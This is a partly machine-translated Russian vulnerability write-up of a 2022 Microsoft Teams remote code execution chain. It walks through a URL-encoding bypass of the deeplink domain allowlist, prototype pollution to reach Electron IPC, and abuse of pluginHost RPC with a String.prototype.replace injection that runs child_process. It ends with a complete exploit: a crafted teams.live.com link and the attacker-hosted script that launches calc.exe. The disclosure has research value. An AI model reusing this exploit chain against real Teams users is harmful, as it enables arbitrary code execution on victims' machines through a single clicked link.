February 22, 2023

2022 Microsoft Teams RCE  

Обработчик deeplink для /l/task/:appId в Microsoft Teams может загружать произвольный URL-адрес в webview/iframe. Злоумышленник может отказаться от этого с помощью функций RPC команд, чтобы получить выполнение кода за пределами песочницы.

1. Обход списка разрешенных URL-адресов с помощью кодировки URL-адресов​

Пример URL-маршрута

...
k(p.states.appDeepLinkTaskModule, {
    url: "l/task/:appId?url&height&width&title&fallbackURL&card&completionBotId"
}),
k(p.states.appSfbFreQuickStartVideo, {
    url: "sfbfrequickstartvideo"
}),
k(p.states.appDeepLinkMeetingCreate, {
    url: "l/meeting/new?meetingType&groupId&tenantId&deeplinkId&attendees&subject&content&startTime&endTime&nobyoe&qsdisclaimer"
}),
k(p.states.appDeepLinkMeetingDetails, {
    url: "l/meeting/:tenantId/:organizerId/:threadId/:messageId?deeplinkId&nobyoe&qsdisclaimer"
}),
k(p.states.appDeepLinkMeetingDetailsEventId, {
    url: "l/meeting/details?eventId&deeplinkId"
}),
k(p.states.appDeepLinkVirtualEventCreate, {
    url: "l/virtualevent/new?eventType"
}),
k(p.states.appDeepLinkVirtualEventDetails, {
    url: "l/virtualevent/:eventId"
}),
...

В Microsoft Teams есть обработчик маршрута URL-адреса для /l/task/:appId, который принимает urlкак параметр. Это позволяет чат-боту, созданному приложениями Teams, отправлять пользователю ссылку, которая должна быть в белом списке URL-адресов.
Белый список создается из различных полей приложения:

  a = angular.isDefined(e.validDomains) ? _.clone(e.validDomains) : [];
return e.galleryTabs && a.push.apply(a, _.map(e.galleryTabs, function (e) {
    return i.getValidDomainFromUrl(e.configurationUrl)
})), e.staticTabs && a.push.apply(a, _.map(e.staticTabs, function (e) {
    return i.getValidDomainFromUrl(e.contentUrl)
})), e.connectors && a.push.apply(a, _.map(e.connectors, function (e) {
    return i.utilityService.parseUrl(e.configurationUrl).host

These domains are converted into regular expressions, and are used to validate the url:

www.office.com www.github.com

```js
...
t.prototype.isUrlInDomainList = function(e, t, n) {
    void 0 === n && (n = !1);
    for (var i = n ? e : this.parseUrl(e).href, s = 0; s < t.length; s++) {
        for (var a = "", r = t[s].split("."), o = 0; o < r.length; o++)
            a += (o > 0 ? "[.]" : "") + r[o].replace("*", "[^/^.]+");
        var c = new RegExp("^https://" + a + "((/|\\?).*)?quot;,"i");
        if (e.match(c) || i.match(c))
            return !0
    }
    return !1
}
...

Независимо от третьего параметра n, если исходный URL-адрес соответствует заданному регулярному выражению, эта проверка пройдена. Вместо этого после проверки URL-адреса проанализированная форма (parseUrl) передается в веб-просмотр.

e.prototype.setContainerUrl = function(e) {
    var t = this;
    this.sdkWindowMessageHandler && (this.sdkWindowMessageHandler.destroy(),
    this.sdkWindowMessageHandler = null);
    var n = this.utilityService.parseUrl(e);
    this.$q.when(this.htmlSanitizer.sanitizeUrl(n.href, ["https"])).then(function(e) {
        t.frameSrc = e
    })
}

Это проблематично, потому что parseUrl утилиты utilityService url-декодирует url; проверка выполняется на оригинальном, url-кодированном url. Особенно, когда разрешенный домен содержит подстановочный знак, например, *.office.com, генерируемое регулярное выражение имеет вид /^https://[^/^.]+[.]office[.]com((/|\?).*)?$/i. Подстановочный знак становится [^/^.]+, но если заданный url является https://attacker.com%23.office.com, то проверка пройдена. Однако после декодирования url становится https://attacker.com#.office.com, что приводит к загрузке сайта attacker.com.
Приложение Microsoft Planner (appId: 1ded03cb-ece5-4e7c-9f73-61c375528078) имеет домен с подстановочным знаком в поле validDomains:

{
    "manifestVersion": "1.7",
    "version": "0.0.19",
    "categories": [
        "Microsoft",
        "Productivity",
        "ProjectManagement"
    ],
    "disabledScopes": [
        "PrivateChannel"
    ],
    "developerName": "Microsoft Corporation",
    "developerUrl": "https://tasks.office.com",
    "privacyUrl": "https://privacy.microsoft.com/privacystatement",
    "termsOfUseUrl": "https://www.microsoft.com/servicesagreement",
    "validDomains": [
        "tasks.teams.microsoft.com",
        "retailservices.teams.microsoft.com",
        "retailservices-ppe.teams.microsoft.com",
        "tasks.office.com",
        "*.office.com"
    ],
...
}

В результате эта ошибка позволяет злоумышленнику подгружать в произвольном месте в веб-просмотр.

PoC:

Microsoft Teams

teams.live.com2. pluginHost позволяет опасные вызовы RPC из любого веб-просмотра

Поскольку контекстная изоляция не включена в веб-вью, злоумышленник может использовать загрязнение прототипа для вызова произвольных электронных IPC-вызовов к процессам (см. раздел "Приложение"). Учитывая этот примитив, атакующий может вызвать IPC-вызов 'calling

eams:ipc:initPluginHost' главного процесса, который дает идентификатор окна pluginHost. pluginHost открывает опасные RPC вызовы для любого веб-просмотра, например, возвращая член 'registered objects', вызывая их и импортируя некоторые разрешенные модули.

lib/pluginhost/preload.js:

// n, o is controllable
P(c.remoteServerMemberGet, (e, t, n, o) => {
  const i = s.objectsRegistry.get(n);
  if (null == i)
    throw new Error(
      `Cannot get property '${o}' on missing remote object ${n}`
    );
  return A(e, t, () => i[o]);
}),

// n, o, i is controllable
P(c.remoteServerMemberCall, (e, t, n, o, i) => {
  i = v(e, t, i);
  const r = s.objectsRegistry.get(n);
  if (null == r)
    throw new Error(
      `Cannot call function '${o}' on missing remote object ${n}`
    );
  return A(e, t, () => r[o](...i));
}),

Злоумышленник может получить конструктор любого объекта, а конструктор конструктора (Функции) скомпилирует произвольный код JavaScript, и вызовет скомпилированную функцию.

[_,pluginHost]=ipc.sendSync('calling:teams:ipc:initPluginHost', []);
msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_GET', [{hey: 1}, 1, 'constructor', []], '')[0].id
msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'alert()'}]], '')[0].id

require()не подвергается воздействию самого скрипта, но скрипт, контролируемый злоумышленником, может перезаписать прототип String, в этом коде:

function loadSlimCore(slimcoreLibPath) {
let slimcore;
if (utility.isWebpackRuntime()) {
  const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\");
  slimcore = eval(`require('${slimcoreLibPathWebpack}')`);
...
}
...
function requireEx(e, t) {
...
const { slimCoreLibPath: n, error: o } =
  electron_1.ipcRenderer.sendSync(
    constants.events.calling.getSlimCoreLibInfo
  );
if (o) throw new Error(o);
if (t === n) return loadSlimCore(n);
// n === 'slimcore'
throw new Error("Invalid module: " + t);
}

// y === requireEx
P(c.remoteServerRequire, (e, t, n) => A(e, t, () => y(e, n))),

Если злоумышленник вызывает remoteServerRequire с 'slimcore'в качестве аргумента pluginHost оценивает строку, возвращенную String.prototype.replace. Следовательно, следующий код может вызывать require с произвольными аргументами и вызывать методы в модуле.

msg=ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{hey: 1}, msg, 'constructor', [{type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";'}]], '')[0].id
ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_FUNCTION_CALL', [{hey: 1}, msg, []], '')
ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{hey: 1}, 'slimcore'], '')

Используя модуль child_process, злоумышленник может выполнить любую программу.

Приложение A: Доступ к любым модулям комплекта, когда не включена контекстная изоляция между скриптом предварительной загрузки и веб-страницами
Electron компилирует и выполняет скрипт с именем sandbox_bundle.js в каждом фрейме песочницы, а также регистрирует обработчик, который показывает предупреждения безопасности, если этого хочет пользователь. Чтобы включить предупреждения безопасности, пользователи могут установить ELECTRON_ENABLE_SECURITY_WARNINGS либо в переменных окружения, либо в окне.

lib/renderer/security-warnings.ts#L43-L46:

  if ((env && env.ELECTRON_ENABLE_SECURITY_WARNINGS) |||
      (window && window.ELECTRON_ENABLE_SECURITY_WARNINGS)) {
    shouldLog = true;
  }

Эта функция вызывается при событии 'load' окна:

export function securityWarnings (nodeIntegration: boolean) {
  const loadHandler = async function () {
    if (shouldLogSecurityWarnings()) {
      const webPreferences = await getWebPreferences();
      logSecurityWarnings(webPreferences, nodeIntegration);
    }
  };
  window.addEventListener('load', loadHandler, { once: true });
}

security-warnings.ts также собран в sandbox_bundle.js с помощью webpack. Имеется импорт webFrame, который лениво загружает "./lib/renderer/api/web-frame.ts".

import { webFrame } from 'electron';
...
const isUnsafeEvalEnabled = () => {
  return webFrame._isEvalAllowed();
};
// это вызывается warnAboutInsecureCSP + logSecurityWarnings

Это делается в electron.ts:

import { defineProperties } from '@electron/internal/common/define-properties';
import { moduleList } from '@electron/internal/sandboxed_renderer/api/module-list';

module.exports = {};

defineProperties(module.exports, moduleList);

В define-properties.ts определяется getter для всех модулей в moduleList; loader вызывается при обращении к модулю, например, webFrame.

const handleESModule = (loader: ElectronInternal.ModuleLoader) => () => {
  const value = loader();
  if (value.__esModule && value.default) return value.default;
  return value;
};

// Прикрепляет свойства к |targetExports|.
export function defineProperties (targetExports: Object, moduleList: ElectronInternal.ModuleEntry[]) {
  const descriptors: PropertyDescriptorMap = {};
  for (const module of moduleList) {
    descriptors[module.name] = {
      enumerable: !module.private,
      get: handleESModule(module.loader)
    };
  }
  return Object.defineProperties(targetExports, descriptors);
}

Загрузчик для webFrame определяется в moduleList:

export const moduleList: ElectronInternal.ModuleEntry[] = [
  {
...
  {
    name: 'webFrame',
    loader: () => require('@electron/internal/renderer/api/web-frame')
  },

Который компилируется как:

}, {
    name: "webFrame",
    loader: ()=>r(/*! @electron/internal/renderer/api/web-frame */
    "./lib/renderer/api/web-frame.ts")
}, {

Функция r выше - это __webpack_require__, которая фактически загружает модуль, если он еще не загружен.

function __webpack_require__(r) {
    if (t[r])
        return t[r].exports;

Здесь t - это список кэшированных модулей. Если модуль не загружен никаким кодом, t[r] не определен. Кроме того, t.__proto__ указывает на Object.prototype, поэтому атакующий может установить getter для пути к модулю, чтобы получить весь список кэшированных модулей.

const KEY = './lib/renderer/api/web-frame.ts';
let modules;
Object.prototype.__defineGetter__(KEY, function () {
    console.log(this);
    modules = this;
    delete Object.prototype[KEY];
    main();
})

Это позволяет атакующему получить модуль electron/internal/renderer/api/ipc-renderer для отправки любых IPC любым процессам.

var ipc = modules['./lib/renderer/api/ipc-renderer.ts'].exports.default;
[_, pluginHost] = ipc.sendSync('calling:teams:ipc:initPluginHost', []);

Мы использовали это для отправки IPC на pluginHost (см. раздел 2) и выполнения программы вне песочницы.

Эксплойт

Клиент

https://teams.live.com/l/task/1ded03cb-ece5-4e7c-9f73-61c375528078?url=https://0e1%252Ekr%5Ccd2c4753c4cb873c7be66e3ffdeae71f71ce33482e9921bab01dc3670a3b4f95%5C%23.office.com/&height=100&width=100&title=hey&fallbackURL=https://aka.ms/hey&completionBotId=&fqdn=teams.live.com

Сервер :

<script>
  const KEY = './lib/renderer/api/web-frame.ts';
  let modules;
  Object.prototype.__defineGetter__(KEY, function () {
    console.log(this);
    modules = this;
    delete Object.prototype[KEY];
    main();
  })

  window.ELECTRON_ENABLE_SECURITY_WARNINGS = true;

  function main() {
    var ipc = modules['./lib/renderer/api/ipc-renderer.ts'].exports.default;
    [_, pluginHost] = ipc.sendSync('calling:teams:ipc:initPluginHost', []);
    msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{ hey: 1 }, 'slimcore'], '')[0]
    msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_GET', [{ hey: 1 }, msg.id, 'constructor', []], '')[0]
    msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_MEMBER_CALL', [{ hey: 1 }, msg.id, 'constructor', [{ type: 'value', value: 'var backup=String.prototype.replace; String.prototype.replace = ()=>"slimcore\');require(`child_process`).exec(`calc.exe`);(\'";' }]], '')[0]
    ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_FUNCTION_CALL', [{ hey: 1 }, msg.id, []], '')
    msg = ipc.sendToRendererSync(pluginHost, 'ELECTRON_REMOTE_SERVER_REQUIRE', [{ hey: 1 }, 'slimcore'], '')
  }
</script>